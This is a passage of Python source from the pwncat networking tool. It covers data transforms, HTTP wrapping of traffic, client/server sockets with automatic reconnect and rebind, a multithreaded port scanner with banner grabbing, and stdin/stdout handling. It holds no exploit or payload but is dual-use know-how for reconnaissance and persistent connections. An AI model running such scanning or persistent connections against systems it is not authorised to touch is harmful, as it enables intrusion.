        """Implement a transformer function which transforms a string..

        Args:
            data (bytes): data to be transformed.

        Returns:
            bytes: The transformed string.
        """


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (2/5) TransformLinefeed
# -------------------------------------------------------------------------------------------------
class TransformLinefeed(Transform):
    """Implement basic linefeed replacement."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformLinefeed) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformLinefeed, self).__init__()
        self.__opts = opts

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Transform linefeeds to CRLF, LF or CR if requested.

        Returns:
            str: The string with altered linefeeds.
        """
        # 'auto' keep it as it is
        if self.__opts.crlf is None:
            return data

        # ? -> No line feeds
        if self.__opts.crlf == "no":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Removing CRLF")
                return data[:-2]
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Removing LF")
                return data[:-1]
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Removing CR")
                return data[:-1]
        # ? -> CRLF
        if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"):
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
        # ? -> LF
        if self.__opts.crlf == "lf":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with LF")
                return data[:-2] + StringEncoder.encode("\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with LF")
                return data[:-1] + StringEncoder.encode("\n")
        # ? -> CR
        if self.__opts.crlf == "cr":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with CR")
                return data[:-2] + StringEncoder.encode("\r")
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CR")
                return data[:-1] + StringEncoder.encode("\r")

        # Otherwise just return it as it is
        return data


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (3/5) TransformSafeword
# -------------------------------------------------------------------------------------------------
class TransformSafeword(Transform):
    """Implement a trigger to emergency shutdown upon receival of a specific safeword."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformSafeword) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformSafeword, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Raise a stop signal upon receiving the safeword.

        Returns:
            str: The string as it is without changes
        """
        if StringEncoder.encode(self.__opts.safeword) in data:
            self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform")  # type: ignore
            self.__opts.ssig.raise_terminate()
        return data


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (4/5) TransformHttpPack
# -------------------------------------------------------------------------------------------------
class TransformHttpPack(Transform):
    """Implement a transformation to pack data into HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpPack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

        assert "reply" in opts
        assert opts["reply"] in ["request", "response"]

        # Initial default header
        self.__headers = [
            "Accept-Charset: utf-8",
        ]

        self.__response_headers_sent = False

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Wrap data into a HTTP packet.

        Returns:
            bytes: The wrapped string.
        """
        request_header = [
            "POST / HTTP/1.1",
            "Host: {}".format(self.__opts["host"]),
            "User-Agent: pwncat",
            "Accept: */*",
            "Conent-Length: {}".format(len(data)),
            "Content-Type: text/plain; charset=UTF-8",
        ]
        response_header = [
            "HTTP/1.1 200 OK",
            "Date: {}".format(self.__get_date()),
            "Server: pwncat",
            "Conent-Length: {}".format(len(data)),
            "Connection: close",
        ]

        self.__response_headers_sent = True

        if self.__opts["reply"] == "request":
            header = StringEncoder.encode(
                "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        else:
            header = StringEncoder.encode(
                "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        return header + data

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_date(self):  # pylint: disable=no-self-use
        # type: () -> str
        now = datetime.utcnow()
        weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()]
        month = [
            "Jan",
            "Feb",
            "Mar",
            "Apr",
            "May",
            "Jun",
            "Jul",
            "Aug",
            "Sep",
            "Oct",
            "Nov",
            "Dec",
        ][now.month - 1]
        return "%s, %02d %s %04d %02d:%02d:%02d GMT" % (
            weekday,
            now.day,
            month,
            now.year,
            now.hour,
            now.minute,
            now.second,
        )


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (5/5) TransformHttpUnpack
# -------------------------------------------------------------------------------------------------
class TransformHttpUnpack(Transform):
    """Implement a transformation to unpack data from HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpUnpack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Unwrap data from a HTTP packet.

        Returns:
            str: The wrapped string.
        """
        request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)")
        response = StringEncoder.encode(r"^HTTP/[.0-9]+")

        # Did not receive a valid HTTP request, so we return the original untransformed message
        if not (re.match(request, data) or re.match(response, data)):
            return data

        body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)")
        match = re.search(body, data)

        # Check if we can separate headers and body
        if match is None or len(match.group()) < 2:
            return data
        return match.group(2)


# #################################################################################################
# #################################################################################################
# ###
# ###   6 / 11   I O   M O D U L E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [6/11 IO]: (1/5): IO
# -------------------------------------------------------------------------------------------------
class IO(ABC):  # type: ignore
    """Abstract class to for pwncat I/O modules.

    This is a skeleton that defines how the I/O module for pwncat should look like.

    The "producer" should constantly yield data received from some sort of input
    which could be user input, output from a shell command data from a socket.

    The "callback" will apply some sort of action on the data received from a producer
    which could be output to stdout, send it to the shell or to a socket.

    "The "interrupts" are a list of funtions that trigger the producer to stop
    and return to its parent thread/function. The producer must also be implemented
    in a way that it is able to act on the event which the "interrupt" func emitted.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self, ssig):
        # type: (InterruptHandler) -> None
        """Set specific options for this IO module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance used by the interrupter.
        """
        super(IO, self).__init__()
        self.__ssig = ssig
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Implement a generator function which constantly yields data.

        The data could be from various sources such as: received from a socket,
        received from user input, received from shell command output or anything else.

        Yields:
            str: Data generated/produced by this function.
        """

    @abstractmethod
    def consumer(self, data):
        # type: (bytes) -> None
        """Define a consumer callback which will apply an action on the producer output.

        Args:
            data (str): Data retrieved from the producer to work on.
        """

    @abstractmethod
    def interrupt(self):
        # type: () -> None
        """Define an interrupt function which will stop the producer.

        Various producer might call blocking functions and they won't be able to stop themself
        as they hang on that blocking function.
        NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.
        """


# -------------------------------------------------------------------------------------------------
# [6/11 IONetwork]: (2/5) IONetwork
# -------------------------------------------------------------------------------------------------
class IONetwork(IO):
    """Pwncat implementation based on custom Socket library."""

    @property
    def net(self):
        # type: () -> Net
        """Returns instance of Net."""
        return self.__net

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        ports,  # type: List[int]
        role,  # type: str
        srv_opts,  # type: DsIONetworkSrv
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat instance of either a server or a client.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            ports ([int]): List of ports to connect to or listen on.
            role (str): Either "server" or "client".
            srv_opts (DsIONetworkSrv):   Options for the server.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        assert role in ["server", "client"], "The role must be 'server' or 'client'."
        super(IONetwork, self).__init__(ssig)

        self.__role = role
        self.__net = Net(encoder, ssig, sock_opts)
        self.__sock_opts = sock_opts
        self.__srv_opts = srv_opts
        self.__cli_opts = cli_opts

        # Did we already run cleanup
        self.__cleaned_up = False

        # Internally store addresses for reconn or rebind functions
        self.__host = host
        self.__ports = ports
        self.__pport = 0  # pointer to the current port

        if role == "server":
            if not self.__net.run_server(self.__host, self.__ports[self.__pport]):
                if not self.__server_rebind():
                    sys.exit(1)
        if role == "client":
            if not self.__net.run_client(self.__host, self.__ports[self.__pport]):
                if not self.__client_reconnect_to_server():
                    sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Network receive generator which hooks into the receive function and adds features.

        Yields:
            str: Data received from a connected socket.
        """
        # Counter for receive retries once this side of the program
        # shuts down (e.g.: Ctrl+c) as there could be data left on the wire.
        curr_recv_timeout_retry = 0

        # Loop endlessly and yield data back to the caller
        while True:
            # [1/3] Generate data
            try:
                yield self.__net.receive()
            # [2/3] Non-blocking socket is finished receiving data and allows us to do some action
            except socket.timeout as err:
                # Check if we close the socket for sending
                if self.ssig.has_sock_send_eof():
                    self.log.trace(  # type: ignore
                        "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err
                    )
                    self.__net.send_eof()

                # Let's ask the interrupter() function if we should terminate?
                if not self.ssig.has_sock_quit():
                    continue
                # Stop signal is raied when my own side of the network was closed.
                # Happened most likely that the user pressed Ctrl+c
                # Before quitting, we will check x many times, if there is still
                # data left to receive, before shutting down.
                if curr_recv_timeout_retry < self.__sock_opts.recv_timeout_retry:
                    self.log.trace(  # type: ignore
                        "Final socket read: %d/%d before quitting.",
                        curr_recv_timeout_retry + 1,
                        self.__sock_opts.recv_timeout_retry,
                    )
                    curr_recv_timeout_retry += 1
                    continue
                # We ware all done reading, shut down
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err
                )
                self.__cleanup()
                return
            # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar)
            except (EOFError, AttributeError, socket.error) as err:
                # Do we have a stop signal?
                if self.ssig.has_sock_quit():
                    self.log.trace(  # type: ignore
                        "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err
                    )
                    self.__cleanup()
                    return
                # Do we re-accept new clients?
                if self.__sock_opts.udp:
                    # Always accept new clients or reconnect in UDP mode (its stateless)
                    continue
                if self.__role == "server" and self.__server_reaccept_from_client():
                    continue
                if self.__role == "client" and self.__client_reconnect_to_server():
                    continue
                # Inform everybody that we are quitting
                self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer")  # type: ignore
                self.ssig.raise_sock_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data to a socket."""
        try:
            self.__net.send(data)
        except socket.error:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()
        self.__cleanup()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
            self.__net.close_conn_sock()
            self.__net.close_bind_sock()
            self.__cleaned_up = True

    def __client_reconnect_to_server(self):
        # type: () -> bool
        """Ensure the client re-connects to the remote server, if the remote server hang up.

        Returns:
            bool: Returns `True` on success and `False` on failure or stop signal requested.
        """
        assert self.__role == "client", "This should have been caught during arg check."

        # reconn < 0 (endlessly)
        # reconn > 0 (reconnect until counter reaches zero)
        while self.__cli_opts.reconn != 0:
            # [1/6] Let's ask the interrupter() function if we should terminate?
            # We need a little wait here in order for the stop signal to propagate.
            # Don't know how fast the other threads are.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]"
                )
                return False

            # [2/6] Wait
            time.sleep(self.__cli_opts.reconn_wait)

            # [3/6] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/5]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]"
                )
                return False

            # [4/6] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            if self.__cli_opts.reconn > 0:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (%d more times left)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                    self.__cli_opts.reconn,
                )
            else:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (indefinitely)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                )

            # [5/6] Decrease reconnect counter
            if self.__cli_opts.reconn > 0:
                self.__cli_opts.reconn -= 1

            # [6/6] Recurse until True or reconnect count is used up
            if self.__net.run_client(self.__host, self.__ports[self.__pport]):
                return True

        # [5/5] Signal failure
        self.log.info("Reconnect count is used up. Shutting down.")
        return False

    def __server_rebind(self):
        # type: () -> bool

        # rebind < 0 (endlessly)
        # rebind > 0 (rebind until counter reaches zero)
        while self.__srv_opts.rebind != 0:

            # [1/7] Let's ask the interrupter() function if we should terminate?
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]"
                )
                return False

            # [2/7] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            # [3/7] Notify user
            if self.__srv_opts.rebind > 0:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (%d more times left)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                    self.__srv_opts.rebind,
                )
            else:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (indefinitely)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                )

            # [4/7] Decrease reconnect counter
            if self.__srv_opts.rebind > 0:
                self.__srv_opts.rebind -= 1

            # [5/7] Wait (--rebind-wait)
            time.sleep(self.__srv_opts.rebind_wait)

            # [6/7] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/7]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]"
                )
                return False

            # [6/7] Recurse until True or reconnect count is used up
            if self.__net.run_server(self.__host, self.__ports[self.__pport]):
                return True

        # [7/7] Nope
        self.log.info("Rebind count is used up. Shutting down.")
        return False

    def __server_reaccept_from_client(self):
        # type: () -> bool
        """Ensure the server is able to keep connection open by re-accepting new clients.

        Returns:
            bool: True on success and False on failure
        """
        # Do not re-accept for UDP
        assert not self.__sock_opts.udp, "This should have been caught during arg check."
        assert self.__role == "server", "This should have been caught during arg check."

        # [NO] Do not re-accept
        if not self.__srv_opts.keep_open:
            self.log.info("No automatic re-accept specified. Shutting down.")
            return False

        # [MAYBE] Check stop signal and otherwise try until success.
        while True:
            time.sleep(0.01)
            # [NO] We have a stop signal
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client"
                )
                return False
            # [YES] Re-accept indefinitely
            self.log.info("Re-accepting new clients")
            if self.__net.re_accept_client():
                return True


# -------------------------------------------------------------------------------------------------
# [6/11 IONetwork]: (3/5) IONetwork
# -------------------------------------------------------------------------------------------------
class IONetworkScanner(IO):
    """Pwncat Scanner implementation based on custom Socket library."""

    BANNER_PAYLOADS = {
        # 0 is for generic ones, which do not have a custom port definition already
        0: [
            None,  # This means to not send anything, but receive first
            "",
            "\0",
            "\r",
            "\n",
            "\r\n",
            "HEAD /\r\n\r\n",
        ],
    }

    # Common regexes
    BANNER_REG = [
        r"Server:\s*(.*)",  # extract webserver from header
        r"(.*[0-9][-.0-9]*.*)",  # generic version string
    ]

    # Compiled versions of common regexes
    BANNER_REG_COMP = []  # type: List[re.Pattern[str]]

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        banner,  # type: bool
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat Network Scanner instance.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            banner (bool): Determines if we do banner grabbing as well.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        super(IONetworkScanner, self).__init__(ssig)

        self.__ssig = ssig
        self.__enc = encoder
        self.__cli_opts = cli_opts
        self.__sock_opts = sock_opts
        self.__banner = banner

        self.__log = logging.getLogger(__name__)
        self.__sock = Sock()
        self.__screen_lock = threading.Semaphore()

        # Keep track of local binds (addr-port) of the threaded scanner
        # clients as we do not want to treat them as open ports (false posistives)
        self.__local_binds = {}  # type: Dict[str, socket.socket]

        # Compile our regexes if using banner detection
        if banner:
            for reg in self.BANNER_REG:
                self.BANNER_REG_COMP.append(re.compile(reg, re.IGNORECASE))

        # Get numerical IP addresses for IPv4 and/or IPv6
        if self.__sock_opts.ipv6:
            families = [int(socket.AF_INET6)]
        elif self.__sock_opts.ipv4:
            families = [int(socket.AF_INET)]
        else:
            families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]
        self.__targets = {}
        for family in families:
            try:
                self.__targets[family] = self.__sock.gethostbyname(
                    host, family, not self.__sock_opts.nodns
                )
            except socket.gaierror:
                pass

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def __get_socket(self, family):
        # type: (Union[socket.AddressFamily, int]) -> socket.socket
        """Create socket for specific address family endlessly until resources are available."""
        # The scanner starts one thread for each port to scan. Each thread will also create
        # one socket and we might hit the max_allowed_files limit (ulimit).
        # That's why we loop through creating sockets until we hit a success
        # as in the meantime, other threads might have already released sockets/fd's.
        while True:
            delay = 0.0
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getsocket"
                )
                raise socket.error("quit")
            try:
                if self.__sock_opts.udp:
                    return self.__sock.create_socket(family, socket.SOCK_DGRAM, False)
                return self.__sock.create_socket(family, socket.SOCK_STREAM, False)
            except socket.error:
                delay += 0.1
                time.sleep(delay)  # This can be bigger to give the system some time to release fd's

    def __get_banner_version(self, banner):
        # type: (str) -> Optional[str]
        """Extract version information from a string."""
        if not banner or banner is None:
            return None

        # If we only have a single line, return it (all we got)
        lines = banner.splitlines()
        if len(lines) == 1:
            return lines[0]

        # Version extraction
        for reg in self.BANNER_REG_COMP:
            match = re.search(reg, banner)
            if match:
                return StringEncoder.rstrip(match.group(1))  # type: ignore

        # Nothing found, return first non-empty line
        for line in lines:
            if line:
                return line

        # Nothing found
        return None

    def __get_banner(self, sock, addr, port):
        # type: (socket.socket, str, int) -> Tuple[bool, Optional[str]]
        """Retrieve the (version) banner from a network service."""
        if port in self.BANNER_PAYLOADS:
            payloads = self.BANNER_PAYLOADS[port] + self.BANNER_PAYLOADS[0]
        else:
            payloads = self.BANNER_PAYLOADS[0]

        for payload in payloads:
            # Break the loop on terminate signal
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port
                )
                return (False, None)
            try:
                if payload is not None:
                    sock.send(self.__enc.encode(payload))
                    self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload))

                sock.settimeout(0.5)
                banner = sock.recv(self.__sock_opts.bufsize)
                version = self.__get_banner_version(self.__enc.decode(banner))
                self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner))
                return (True, version)
            except socket.timeout:
                continue
            except (OSError, socket.error):
                return (False, None)
        return (True, None)

    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Port scanner yielding open/closed string for given port.

        Args:
            args: additional arguments.
            kwargs: additional arguments.

        Yields:
            str: Open/closed state (optionally with banner) from a port.
        """
        port = args[0]

        # Loop over adress families
        for family in self.__targets:

            # [1/7] Check for termination request
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for IONetworkScanner.producer")  # type: ignore
                return

            addr = self.__targets[family]

            # [2/7] Get socket
            try:
                sock = self.__get_socket(family)
                sock_type = sock.type
            except (AttributeError, socket.error):
                # Exception is triggered due to stop stignal and we
                # will abort here in that case.
                return

            # [3/7] Connect scan
            try:
                laddr, lport = self.__sock.connect(
                    sock,
                    addr,
                    port,
                    None,
                    None,
                    True,
                    self.__enc.encode("\0"),
                    self.__sock_opts.bufsize,
                    0.1,
                )
                # Append local binds (addr-port) to check against during port scan
                key = str(laddr + "-" + str(lport))
                self.__local_binds[key] = sock
            except socket.error:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                continue

            # [4/7] False positives
            # Connect was successful, but against a local bind of one of our
            # port scanners, so this is a false positive.
            if str(addr + "-" + str(port)) in self.__local_binds:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                del self.__local_binds[key]
                continue

            # [5/7] Banner grabbing
            succ_banner = True
            banner = None
            if self.__banner:
                (succ_banner, banner) = self.__get_banner(sock, addr, port)

            # [6/7] Evaluation
            if banner is not None and succ_banner:
                msg = "[+] {:>5}/{} open   ({}): {}".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                    banner,
                )
                yield self.__enc.encode(msg)
            if banner is None and succ_banner:
                msg = "[+] {:>5}/{} open   ({})".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                )
                yield self.__enc.encode(msg)

            # [7/7] Cleanup
            self.__sock.close(sock, key)
            del self.__local_binds[key]

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        with self.__screen_lock:
            print(StringEncoder.decode(data))
            try:
                sys.stdout.flush()
            except IOError:
                # Python flushes standard streams on exit; redirect remaining output
                # to devnull to avoid another broken pipe at shutdown
                devnull = os.open(os.devnull, os.O_WRONLY)
                os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()

        # NOTE: Closing up to 65535 sockets (single thread) takes very very long
        # Se we leave this up to Python itself, once the program exits.
        # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
        # # Double loop to prevent: Dictionary size changed during iteration
        # remove = {}
        # for key in self.__local_binds:
        #     remove[key] = self.__local_binds[key]
        # for key in remove:
        #     self.__sock.close(remove[key], key)


# -------------------------------------------------------------------------------------------------
# [6/11 IOStdinStdout]: (4/5) IOStdinStdout
# -------------------------------------------------------------------------------------------------
class IOStdinStdout(IO):
    """Implement basic stdin/stdout I/O module.

    This I/O module provides a generator which continuously reads from stdin
    (non-blocking on POSIX and blocking on Windows) as well as a
    callback that writes to stdout.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOStdinStdout) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance.
            opts (DsIOStdinStdout): IO options.
        """
        super(IOStdinStdout, self).__init__(ssig)
        self.__opts = opts
        self.__py3 = sys.version_info >= (3, 0)  # type: bool
        self.__win = os.name != "posix"  # posix or nt
        self.__stdout_isatty = sys.stdout.isatty()
        self.__stdin_isatty = sys.stdin.isatty()

        self.log.debug("STDOUT isatty: %s", self.__stdout_isatty)
        self.log.debug("STDIN  isatty: %s", self.__stdin_isatty)
        self.log.debug("STDIN  posix:  %s (%s)", str(self.__win), os.name)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for user input.

        Yields:
            str: Data read from stdin.
        """
        # On --send-on-eof we will return all of its contents at once:
        lines = []

        # https://stackoverflow.com/questions/1450393/#38670261
        # while True: line = sys.stdin.readline() <- reads a whole line (faster)
        # for line in sys.stdin.readlin():        <- reads one byte at a time
        while True:
            if self.ssig.has_stdin_quit():
                self.log.trace(  # type: ignore
                    "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]"
                )
                return
            try:
                data = self.__read_stdin()
            except EOFError:
                # When using select() with timeout, we don't have any input
                # at this point and simply continue the loop or quit if
                # a terminate request has been made by other threads.
                if self.ssig.has_stdin_quit():
                    self.log.trace(  # type: ignore
                        "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]"
                    )
                    return
                continue
            if data:
                self.log.debug("Received %d bytes from STDIN", len(data))
                self.log.trace("Received: %s", repr(data))  # type: ignore
                # [send-on-eof] Append data
                if self.__opts.send_on_eof:
                    lines.append(data)
                else:
                    yield data
            # EOF or <Ctrl>+<d>
            else:
                # [send-on-eof] Dump data before quitting
                if lines and self.__opts.send_on_eof:
                    yield StringEncoder.encode("").join(lines)
                self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer")  # type: ignore
                self.ssig.raise_stdin_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        if self.__py3:
            sys.stdout.buffer.write(data)
        else:
            # For issues with flush (when using tail -F or equal) see links below:
            # https://stackoverflow.com/questions/26692284
            # https://docs.python.org/3/library/signal.html#note-on-sigpipe
            print(data, end="")

        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        # TODO: Does not work on windows as it has blocking read of stdin
        self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt")  # type: ignore
        self.ssig.raise_stdin_quit()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_input_timeout(self):
        # type: () -> None
        """Throws a catchable EOFError exception for sys.stdin after timeout (Linux only)."""
        # rlist: wait until ready for reading
        # wlist: wait until ready for writing
        # xlist: wait for an exceptional condition
        if not select.select([sys.stdin], [], [], self.__opts.input_timeout)[0]:
            raise EOFError("timed out")

    def __stdin_israw(self):
        # type: () -> bool
        """Check if the terminal (STDIN) is set to raw mode."""
        # Non-posix systems (e.g. Windows) do not have a raw mode
        if self.__win:
            return False

        fild = sys.stdin.fileno()
        try:
            mode = termios.tcgetattr(fild)
        except termios.error:
            # Not a TTY
            return False

        # ICANON
        # https://linux.die.net/man/3/termios
        # The setting of the ICANON canon flag in c_lflag determines whether
        # the terminal is operating in canonical mode (ICANON set) or
        # noncanonical (raw) mode (ICANON unset). By default, ICANON set.
        return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON)  # type: ignore

    def __read_stdin(self):
        # type: () -> bytes
        """Returns input from STDIN."""
        # [1/3] (Windows) Normal/Raw mode
        if self.__win:
            if self.__py3:
                return sys.stdin.buffer.read()
            # Python 2 on Windows opens sys.stdin in text mode, and
